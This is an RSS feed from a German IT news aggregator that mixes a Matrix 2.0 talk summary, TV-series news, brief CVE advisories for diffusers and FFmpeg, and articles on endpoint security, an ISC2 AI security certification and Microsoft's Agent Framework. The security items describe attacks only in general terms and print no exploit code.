- How room joins work over federation - &quot;faster joins&quot;, where servers only sync the bare minimum data such that clients can start participating in the room as soon as possible (MSC3902)<br />
<br />
- How auth works - switching Matrix to use OIDC natively for all authentication, registration and account management (MSC3861)<br />
<br />
- How VoIP works - switching Matrix to natively support multiparty decentralised E2EE VoIP as the primary calling mechanism (MSC3401 and MSC3898)<br />
<br />
The end result is transformational, and by far the biggest change to Matrix since the project began in 2014. So, we&#039;re calling it Matrix 2.0, and this talk will give a guided tour of everything that&#039;s changed - and show off the new reference matrix-rust-sdk client SDK, which powers the new flagship mobile Matrix client, codenamed Element X.<br />
<br />
00:00 Hello!<br />
00:41 Matrix and its ecosystem<br />
06:33 Spec update<br />
08:10 Matrix is taking over the world<br />
09:26 Demo: Element X is blazing fast<br />
13:25 Behind the scenes of the demo<br />
15:02 How sliding sync works<br />
21:20 One matrix-rust-sdk to rule them all<br />
23:45 Faster remote room joins<br />
25:12 MatrixRTC, Element Call, Matryoshka Widgets<br />
26:37 Demo: Element Call!<br />
28:34 Demo: raiding Element Call with waterfall — Selective Forwarding Units for Matrix<br />
31:02 OpenID Connect: authentication done right<br />
32:04 The future: Digital Markets Act, MIMI, MLS, P2P Matrix<br />
36:32 Demo: P2P Matrix<br />
40:31 Demo: ThirdRoom — Matrix beyond chat and voice<br />
47:16 What&#039;s next?<br />
<br />
Support Matrix!<br />
🪙 Donorbox for individuals - https://donorbox.org/keep-matrix-exciting<br />
💶 Matrix Foundation (paid) membership for orgs - https://forms.gle/Yy345QkB5pifJJNy6<br />
<br />
(This Week in) Matrix<br />
🐘 https://mastodon.matrix.org/@matrix<br />
🐦️ https://twitter.com/matrixdotorg<br />
[m] https://matrix.to/#/#thisweekinmatrix:matrix.org<br/></p>]]></content:encoded>
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<title><![CDATA[Stuart Fails to Save the Universe episode 1's 'OG death' isn't actually shocking at all — in fact, there's an overwhelmingly obvious clue to confirm that it's not even real]]></title>
<description><![CDATA[Stuart Fails to Save the Universe episode 1 premiered by killing off a beloved Big Bang Theory character. Oops. Or did they? There's an obvious clue that everybody is overlooking.]]></description>
<link>https://tsecurity.de/de/3692822/it-nachrichten/stuart-fails-to-save-the-universe-episode-1s-og-death-isnt-actually-shocking-at-all-in-fact-theres-an-overwhelmingly-obvious-clue-to-confirm-that-its-not-even-real/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692822/it-nachrichten/stuart-fails-to-save-the-universe-episode-1s-og-death-isnt-actually-shocking-at-all-in-fact-theres-an-overwhelmingly-obvious-clue-to-confirm-that-its-not-even-real/</guid>
<pubDate>Sat, 25 Jul 2026 03:17:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Stuart Fails to Save the Universe episode 1 premiered by killing off a beloved Big Bang Theory character. Oops. Or did they? There's an obvious clue that everybody is overlooking.]]></content:encoded>
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<title><![CDATA[CVE-2026-65920 | Hugging Face diffusers up to 0.39.0 Model Loading _get_checkpoint_shard_files weight_map path traversal (EUVD-2026-48343)]]></title>
<description><![CDATA[A vulnerability classified as problematic was found in Hugging Face diffusers up to 0.39.0. The impacted element is the function _get_checkpoint_shard_files of the component Model Loading. Executing a manipulation of the argument weight_map can lead to path traversal.

The identification of this ...]]></description>
<link>https://tsecurity.de/de/3692768/sicherheitsluecken/cve-2026-65920-hugging-face-diffusers-up-to-0390-model-loading-getcheckpointshardfiles-weightmap-path-traversal-euvd-2026-48343/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692768/sicherheitsluecken/cve-2026-65920-hugging-face-diffusers-up-to-0390-model-loading-getcheckpointshardfiles-weightmap-path-traversal-euvd-2026-48343/</guid>
<pubDate>Sat, 25 Jul 2026 01:53:19 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> was found in <a href="https://vuldb.com/product/hugging_face:diffusers">Hugging Face diffusers up to 0.39.0</a>. The impacted element is the function <code>_get_checkpoint_shard_files</code> of the component <em>Model Loading</em>. Executing a manipulation of the argument <em>weight_map</em> can lead to path traversal.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2026-65920">CVE-2026-65920</a>. The attack may be launched remotely. There is no exploit available.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]></title>
<description><![CDATA[In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fort...]]></description>
<link>https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</guid>
<pubDate>Sat, 25 Jul 2026 00:18:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.</p>



<p class="wp-block-paragraph">That was enough. Over 86,000 downloads. Malicious code in <a href="https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies" target="_blank" rel="noreferrer noopener">PhantomRaven</a>, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.</p>



<p class="wp-block-paragraph">This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.</p>



<p class="wp-block-paragraph">To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.</p>



<p class="wp-block-paragraph"><strong>#1. Gain real-time visibility into shadow AI &amp; extensions</strong></p>



<p class="wp-block-paragraph">Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the <a href="https://www.koi.ai/blog/maliciouscorgi-the-cute-looking-ai-extensions-leaking-code-from-1-5-million-developers" target="_blank" rel="noreferrer noopener">MaliciousCorgi campaign</a>, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.</p>



<p class="wp-block-paragraph"><strong>#2. Distinguish between human and autonomous agent behavior </strong></p>



<p class="wp-block-paragraph">When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.</p>



<p class="wp-block-paragraph"><strong>#3. Establish guardrails for automated package updates on endpoints</strong></p>



<p class="wp-block-paragraph">Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  </p>



<p class="wp-block-paragraph"><strong>#4. Enforce principle of least privilege for AI agents</strong></p>



<p class="wp-block-paragraph">AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.</p>



<p class="wp-block-paragraph"><strong>#5. Maintain continuous endpoint posture management</strong></p>



<p class="wp-block-paragraph">Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the <a href="https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers" target="_blank" rel="noreferrer noopener">DarkSpectre campaign</a> found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.</p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. </p>



<p class="wp-block-paragraph">Ready to secure the future of your software stack? See how <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security" target="_blank" rel="noreferrer noopener">Koi Agentic Endpoint Security</a> delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[CVE-2026-65703 | FFmpeg up to 8.1.2 TDSC video decoder tdsc_parse_tdsf out-of-bounds write (WID-SEC-2026-2510)]]></title>
<description><![CDATA[A vulnerability categorized as critical has been discovered in FFmpeg up to 8.1.2. This issue affects the function tdsc_parse_tdsf of the component TDSC video decoder. The manipulation results in out-of-bounds write.

This vulnerability is reported as CVE-2026-65703. The attack can be launched re...]]></description>
<link>https://tsecurity.de/de/3692482/sicherheitsluecken/cve-2026-65703-ffmpeg-up-to-812-tdsc-video-decoder-tdscparsetdsf-out-of-bounds-write-wid-sec-2026-2510/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692482/sicherheitsluecken/cve-2026-65703-ffmpeg-up-to-812-tdsc-video-decoder-tdscparsetdsf-out-of-bounds-write-wid-sec-2026-2510/</guid>
<pubDate>Fri, 24 Jul 2026 22:40:48 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/kb/risk">critical</a> has been discovered in <a href="https://vuldb.com/product/ffmpeg">FFmpeg up to 8.1.2</a>. This issue affects the function <code>tdsc_parse_tdsf</code> of the component <em>TDSC video decoder</em>. The manipulation results in out-of-bounds write.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-65703">CVE-2026-65703</a>. The attack can be launched remotely. No exploit exists.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[Opinion: AI Rollout Begs the Question: What is Education For?]]></title>
<description><![CDATA[The University of Chicago is giving Claude Enterprise to students and staff to experiment with AI, but it hasn't defined its theory of what education is supposed to do or how AI will serve that purpose.]]></description>
<link>https://tsecurity.de/de/3692219/ai-nachrichten/opinion-ai-rollout-begs-the-question-what-is-education-for/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692219/ai-nachrichten/opinion-ai-rollout-begs-the-question-what-is-education-for/</guid>
<pubDate>Fri, 24 Jul 2026 19:51:39 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The University of Chicago is giving Claude Enterprise to students and staff to experiment with AI, but it hasn't defined its theory of what education is supposed to do or how AI will serve that purpose.]]></content:encoded>
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<title><![CDATA[„Ich kann die nächste Folge kaum erwarten“: Neue Comedy-Serie auf HBO Max gestartet]]></title>
<description><![CDATA[Wer The Big Bang Theory liebt, darf diese neue Show nicht verpassen.]]></description>
<link>https://tsecurity.de/de/3691885/it-nachrichten/ich-kann-die-naechste-folge-kaum-erwarten-neue-comedy-serie-auf-hbo-max-gestartet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691885/it-nachrichten/ich-kann-die-naechste-folge-kaum-erwarten-neue-comedy-serie-auf-hbo-max-gestartet/</guid>
<pubDate>Fri, 24 Jul 2026 17:19:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Wer The Big Bang Theory liebt, darf diese neue Show nicht verpassen.]]></content:encoded>
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<title><![CDATA[Google is signing the EU AI Act Code of Practice on Transparency of AI-Generated Content.]]></title>
<description><![CDATA[Signing the code reinforces our commitment to transparency and responsible AI development in Europe.]]></description>
<link>https://tsecurity.de/de/3691741/it-nachrichten/google-is-signing-the-eu-ai-act-code-of-practice-on-transparency-of-ai-generated-content/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691741/it-nachrichten/google-is-signing-the-eu-ai-act-code-of-practice-on-transparency-of-ai-generated-content/</guid>
<pubDate>Fri, 24 Jul 2026 16:05:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://storage.googleapis.com/gweb-uniblog-publish-prod/images/GoogleG_FullColor_White_RGB.max-600x600.format-webp.webp">Signing the code reinforces our commitment to transparency and responsible AI development in Europe.]]></content:encoded>
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<title><![CDATA[7 new movies and TV show to watch on Netflix, Prime Video, HBO Max, and more this weekend (July 24)]]></title>
<description><![CDATA[From The Big Bang Theory's newest spin-off to an Avatar animated sequel, here's what's worth watching at home this weekend.]]></description>
<link>https://tsecurity.de/de/3691737/it-nachrichten/7-new-movies-and-tv-show-to-watch-on-netflix-prime-video-hbo-max-and-more-this-weekend-july-24/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691737/it-nachrichten/7-new-movies-and-tv-show-to-watch-on-netflix-prime-video-hbo-max-and-more-this-weekend-july-24/</guid>
<pubDate>Fri, 24 Jul 2026 16:05:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[From The Big Bang Theory's newest spin-off to an Avatar animated sequel, here's what's worth watching at home this weekend.]]></content:encoded>
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<title><![CDATA[Move over, James Gunn: Stuart Fails to Save the Universe will have DC crossover episode — and there's one iconic superhero HBO Max would be stupid not to include]]></title>
<description><![CDATA[San Diego Comic Con has confirmed an epic crossover between DC and Stuart Fails to Save the Universe — but one superhero is needed to bring Big Bang Theory's lore full circle.]]></description>
<link>https://tsecurity.de/de/3691275/it-nachrichten/move-over-james-gunn-stuart-fails-to-save-the-universe-will-have-dc-crossover-episode-and-theres-one-iconic-superhero-hbo-max-would-be-stupid-not-to-include/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691275/it-nachrichten/move-over-james-gunn-stuart-fails-to-save-the-universe-will-have-dc-crossover-episode-and-theres-one-iconic-superhero-hbo-max-would-be-stupid-not-to-include/</guid>
<pubDate>Fri, 24 Jul 2026 12:33:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[San Diego Comic Con has confirmed an epic crossover between DC and Stuart Fails to Save the Universe — but one superhero is needed to bring Big Bang Theory's lore full circle.]]></content:encoded>
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<title><![CDATA[ISC2 seeks input from IT pros for AI security certification]]></title>
<description><![CDATA[ISC2 has begun developing a vendor-neutral AI security certification aimed at cybersecurity professionals working to secure AI systems and manage emerging AI risks.



The nonprofit organization, best known for the CISSP certification, says it is seeking volunteers worldwide to help define the kn...]]></description>
<link>https://tsecurity.de/de/3691227/it-security-nachrichten/isc2-seeks-input-from-it-pros-for-ai-security-certification/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691227/it-security-nachrichten/isc2-seeks-input-from-it-pros-for-ai-security-certification/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph"><a href="https://www.isc2.org/" target="_blank" rel="noreferrer noopener">ISC2</a> has begun developing a <a href="https://www.isc2.org/new-ai-certification#AI%20Security%20Certification%20Frequently%20Asked%20Questions" target="_blank" rel="noreferrer noopener">vendor-neutral AI security certification</a> aimed at cybersecurity professionals working to secure AI systems and manage emerging AI risks.</p>



<p class="wp-block-paragraph">The nonprofit organization, best known for the <a href="https://www.isc2.org/certifications/cissp" target="_blank" rel="noreferrer noopener">CISSP certification</a>, says it is seeking volunteers worldwide to help define the knowledge and <a href="https://www.networkworld.com/article/3566827/global-cybersecurity-talent-gap-widens.html" target="_blank">skills</a> that will shape the new credential. While ISC2 has not finalized the certification domains, the <a href="https://www.prnewswire.com/news-releases/isc2-begins-developing-its-ai-security-certification-and-opens-call-for-volunteers-worldwide-302825622.html?tc=eml_cleartime" target="_blank" rel="noreferrer noopener">certification</a> is expected to address both technical AI security and governance topics, with a pilot exam planned before the end of 2026.</p>



<p class="wp-block-paragraph">According to <a href="https://www.linkedin.com/in/caseymarks/">Casey Marks</a>, ISC2 chief operating officer, feedback from cybersecurity practitioners led ISC2 to conclude that AI security had grown beyond expanding AI content within existing certifications.</p>



<p class="wp-block-paragraph">“AI has reached a tipping point,” Marks says. “AI no longer is just another tool; instead, it has fundamentally changed the cybersecurity practice itself.”</p>



<p class="wp-block-paragraph">ISC2 already includes <a href="https://www.networkworld.com/article/4196919/isc2-ai-raises-accountability-demands-for-cybersecurity-teams.html" target="_blank">AI-related content in certifications</a> including CISSP and <a href="https://www.isc2.org/certifications/CCSP" target="_blank" rel="noreferrer noopener">CCSP</a>, but Marks says practitioners have identified new responsibilities and risks that extend beyond those programs. “Enterprise security teams are currently grappling with significant knowledge gaps, particularly around securing model architectures against new vulnerabilities like prompt injection, data poisoning, and model inversion,” Marks adds.</p>



<p class="wp-block-paragraph">Organizations are working to understand emerging governance frameworks, including the NIST AI Risk Management Framework and ISO/IEC 42001, while adapting traditional application security and security operations workflows to AI systems, he says.</p>



<p class="wp-block-paragraph">ISC2 has not finalized the certification domains, but Marks says the organization expects the credential to address both technical controls and governance practices for <a href="https://www.networkworld.com/article/4174188/ai-reshapes-cybersecurity-workforce-priorities-as-it-teams-brace-for-new-risks.html" target="_blank">securing AI systems and managing AI risk</a>. The certification will use ISC2’s established certification development process, which relies on cybersecurity practitioners to define job roles, develop exam content, and validate competencies.</p>



<p class="wp-block-paragraph">Marks says ISC2 will continue to update the certification through ongoing input from cybersecurity professionals, in addition to its regular certification review process.</p>



<p class="wp-block-paragraph">The organization is also determining which professionals the certification will target. Marks says AI security responsibilities are emerging across security architecture, risk management, security operations, software development security, governance and compliance, communication and network security, and security assessment and testing. ISC2 says the certification will reflect how those roles are evolving.</p>



<p class="wp-block-paragraph">For organizations that are building AI security programs now, Marks recommends using existing AI training resources, adopting established governance frameworks, creating cross-functional AI security working groups, and participating in the certification development process.</p>



<p class="wp-block-paragraph">Marks says ISC2 expects AI knowledge to become part of most cybersecurity roles while a more specialized AI security discipline continues to develop. He says organizations will increasingly need professionals with foundational AI security knowledge, as well as specialists in areas such as adversarial machine learning, model architectures, and AI data pipelines.</p>



<p class="wp-block-paragraph">Looking ahead, Marks says he expects AI security expertise to evolve into both a foundational skill for cybersecurity professionals and a specialized discipline of its own.</p>



<p class="wp-block-paragraph">“At this time, we are seeing a hybrid evolution occurring in real time: AI security is simultaneously becoming a baseline expectation for all security roles, while also carving out a dedicated, highly specialized discipline,” Marks says.</p>
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<title><![CDATA[Stuart Fails to Save the Universe: The Big Bang Theory trifft auf Sliders]]></title>
<description><![CDATA[Zehn Folgen Multiversum-Spaß - mit hohem Geek-Faktor: Die spaßigste Sci-Fi-Serie des Jahres ist da. Eine Rezension von Peter Osteried (Science-Fiction, Streaming)]]></description>
<link>https://tsecurity.de/de/3691211/it-nachrichten/stuart-fails-to-save-the-universe-the-big-bang-theory-trifft-auf-sliders/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691211/it-nachrichten/stuart-fails-to-save-the-universe-the-big-bang-theory-trifft-auf-sliders/</guid>
<pubDate>Fri, 24 Jul 2026 12:02:59 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Zehn Folgen Multiversum-Spaß - mit hohem Geek-Faktor: Die spaßigste Sci-Fi-Serie des Jahres ist da. Eine Rezension von Peter Osteried (<a href="https://www.golem.de/specials/science-fiction/">Science-Fiction</a>, <a href="https://www.golem.de/specials/streaming/">Streaming</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=211205&amp;page=1&amp;ts=1784887201" alt="" width="1" height="1">]]></content:encoded>
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<title><![CDATA[The Microsoft agent framework wars are over. The real architecture decision starts now]]></title>
<description><![CDATA[Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?



At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the fo...]]></description>
<link>https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/</guid>
<pubDate>Fri, 24 Jul 2026 11:04:58 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?</p>



<p class="wp-block-paragraph">At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the foundation for enterprise AI, and picking the wrong one felt like an expensive mistake. I spent a lot of time helping teams weigh the trade-offs.</p>



<p class="wp-block-paragraph">Looking back, I think we were asking the wrong question. I certainly was.</p>



<p class="wp-block-paragraph">I watched teams spend months debating SDKs while the decisions that actually decided whether their applications survived production went unexamined. Some built elaborate orchestration layers for workflows that a few deterministic functions would have handled. Others avoided agent frameworks entirely and later found they’d designed themselves into a corner.</p>



<p class="wp-block-paragraph">Then Microsoft settled it for us. It <a href="https://learn.microsoft.com/en-us/agent-framework/overview/">introduced the unified Agent Framework</a>, quietly moved Semantic Kernel and AutoGen into <a href="https://devblogs.microsoft.com/agent-framework/migrate-your-semantic-kernel-and-autogen-projects-to-microsoft-agent-framework-release-candidate/">maintenance mode</a>, and the debate I’d spent months refereeing was suddenly over. Turns out the answer to “which of the three” was “none of the three, here’s a fourth.” The framework hit version 1.0 and general availability in April 2026, stable across .NET and Python.</p>



<p class="wp-block-paragraph">What surprised me wasn’t the decision. It was how fast a debate that had eaten so much of our attention stopped mattering. Microsoft changed the menu.</p>



<p class="wp-block-paragraph">It didn’t change the meal.</p>



<h2 class="wp-block-heading">The framework was never the hard part</h2>



<p class="wp-block-paragraph">Framework selection dominated almost every early conversation I had about enterprise agents. Which SDK do we standardize on? Which orchestration model gives us the most flexibility? Which one is Microsoft actually betting on?</p>



<p class="wp-block-paragraph">Fair questions. But after a year of watching these projects play out, I’ve slowly come around to a different view. Those weren’t the questions that decided anything.</p>



<p class="wp-block-paragraph">The first question I ask now is much smaller. Does this thing actually need an agent?</p>



<p class="wp-block-paragraph">It sounds obvious, and I still get it wrong sometimes. But it’s the mistake I see most. On one project, a team spent weeks designing a multi-agent workflow for a process that ran the same four steps every time: read a document, validate it, call an API, send a notification. The diagrams looked great. The system in production didn’t. A few well-tested functions would have been easier to build, easier to maintain and a lot easier to trust.</p>



<p class="wp-block-paragraph">Part of this is just that “<strong>agent</strong>” has become the word everyone reaches for. Sometimes it’s the right call. Sometimes it’s a workflow we already knew how to build, wearing a newer label. An agent earns its complexity when it genuinely has to decide things you can’t predetermine, choosing between tools, adapting to what it finds, working out its own next step. If you already know every step, you have a workflow, and a workflow is usually the better engineering choice. The consolidation didn’t change that. It just made it easier to see.</p>



<h2 class="wp-block-heading">What building production agents actually taught me</h2>



<p class="wp-block-paragraph">Once I stopped fixating on frameworks, the same three problems kept showing up. None of them had anything to do with the SDK.</p>



<h3 class="wp-block-heading">Context beats model choice</h3>



<p class="wp-block-paragraph">Early on I spent a lot of time comparing models, the way you’d agonize over a restaurant menu and then order what you always order. Now I spend most of it thinking about context, which is far less fun and far more useful.</p>



<p class="wp-block-paragraph">I’ve watched good models fail because they were handed too much, not too little. One team I worked with gave the model access to nearly every internal document they had on the theory that more information meant better answers. It went the other way. Responses got slower, less consistent and sometimes skipped right past the thing that actually mattered. When we cut the context down to only what the task needed, the quality jumped almost immediately. I didn’t predict that. It taught me to be suspicious of “just give it everything.”</p>



<p class="wp-block-paragraph">The best agent systems I’ve worked on weren’t the ones with the biggest context windows. They were the ones careful about what reached the model, and when. That’s not something the framework hands you.</p>



<h3 class="wp-block-heading">Failure is where the real work is</h3>



<p class="wp-block-paragraph">Most agent demos look great because they’re built around the happy path. Production doesn’t extend that courtesy.</p>



<p class="wp-block-paragraph">I remember a project where everything held up in testing. Then a downstream API timed out after the agent had already completed several earlier steps. We couldn’t just restart, because part of the business process had already gone through. We ended up spending far more time on recovery logic than we ever spent on prompts. That project changed how I think about this work. The hard part was never getting the model to make a decision. It was making sure the system didn’t fall apart when reality refused to follow the script.</p>



<p class="wp-block-paragraph">Tool calls fail partway through. APIs return inconsistent data. Models call the same tool over and over because the last answer wasn’t what they wanted. That’s not the exception; that’s a normal Tuesday. Whether you retry, roll back, pause for a human or push on with partial results is a judgment call, and no framework is going to make it for you.</p>



<h3 class="wp-block-heading">Identity is the real security boundary</h3>



<p class="wp-block-paragraph">This one surprised me most. The moment an agent stops being a chatbot and starts touching real business systems, identity matters more than orchestration.</p>



<p class="wp-block-paragraph">Every project gets to the same question eventually. Who is this agent actually acting as? The developer’s credentials? A service account? The user who asked? Get it wrong and you’ve built something autonomous running with more access than any single person should have, which is exactly the kind of thing that looks fine until an audit. The Agent Framework, like most modern tooling, makes it easier to wire agents to tools through standards like the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. That helps. But where human approval belongs, what needs extra authorization, how much rope to give the thing, those are still yours to decide.</p>



<h3 class="wp-block-heading">The surprises weren’t technical</h3>



<p class="wp-block-paragraph">Here’s what I didn’t see coming. The hardest part of last year wasn’t technical at all. It was organizational. The moment a team heard “agent,” expectations shifted under everyone’s feet. Business stakeholders started expecting full autonomy. Developers assumed the thing could reason its way through anything. People started designing for flexibility before we’d even agreed on what problem we were solving. The word did damage before any code did. I found myself spending as much time resetting expectations as I did discussing architecture.</p>



<h2 class="wp-block-heading">Build for change, not for today’s winner</h2>



<p class="wp-block-paragraph">I don’t think the teams that struggled last year picked the wrong framework. Semantic Kernel was reasonable. AutoGen was reasonable. Foundry made sense for plenty of cases. I’d have signed off on any of them.</p>



<p class="wp-block-paragraph">The ones that got hurt put all their eggs in one framework, treating it as the foundation of the whole system instead of as one more dependency. Microsoft provided a migration path. But teams that had tightly coupled their applications to framework-specific abstractions discovered that migrating and rewriting are not the same thing. That wasn’t Microsoft’s doing. It was their own architecture’s. The teams that moved easily had kept their business logic, prompts and orchestration loose enough to evolve independently of any one SDK. For them, the change was a manageable project, not a teardown.</p>



<p class="wp-block-paragraph">For what it’s worth, nobody I work with is treating this as an emergency. Most are moving the smaller workloads first, watching how they behave and leaving the production-critical systems alone until they actually understand the new abstractions. That’s the right instinct. And I doubt this is the last consolidation we’ll see, the ecosystem is still young, frameworks will keep absorbing each other and over time the differences between them will be operational more than architectural.</p>



<p class="wp-block-paragraph">I don’t regret the framework debates, honestly. They were reasonable at the time. What changed wasn’t Microsoft’s roadmap.</p>



<p class="wp-block-paragraph">It was mine. Watching these systems run in production taught me that the framework is the easiest piece to swap out. Recovery logic, context management, security boundaries, the business workflow itself, those stay with you long after today’s SDK gets replaced by tomorrow’s.</p>



<p class="wp-block-paragraph">So, Microsoft made one decision easier by turning three frameworks into one. Good. Five years from now we’ll be on different tools, and we’ll still be asking the same handful of questions.</p>



<p class="wp-block-paragraph">Does this actually need an agent? Does it have the right context? Can it recover when something breaks, because something will? Is it acting as the right person?</p>



<p class="wp-block-paragraph">Those questions outlast every rewrite. That’s where I’ve learned to put my effort.</p>



<p class="wp-block-paragraph">Frameworks come and go. Good architecture has to survive all of them.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.infoworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]></title>
<description><![CDATA[Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordin...]]></description>
<link>https://tsecurity.de/de/3691067/it-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691067/it-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</guid>
<pubDate>Fri, 24 Jul 2026 11:03:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.</p>



<p class="wp-block-paragraph">The questions were not coming from the delivery teams. They were coming from the executive sponsor.</p>



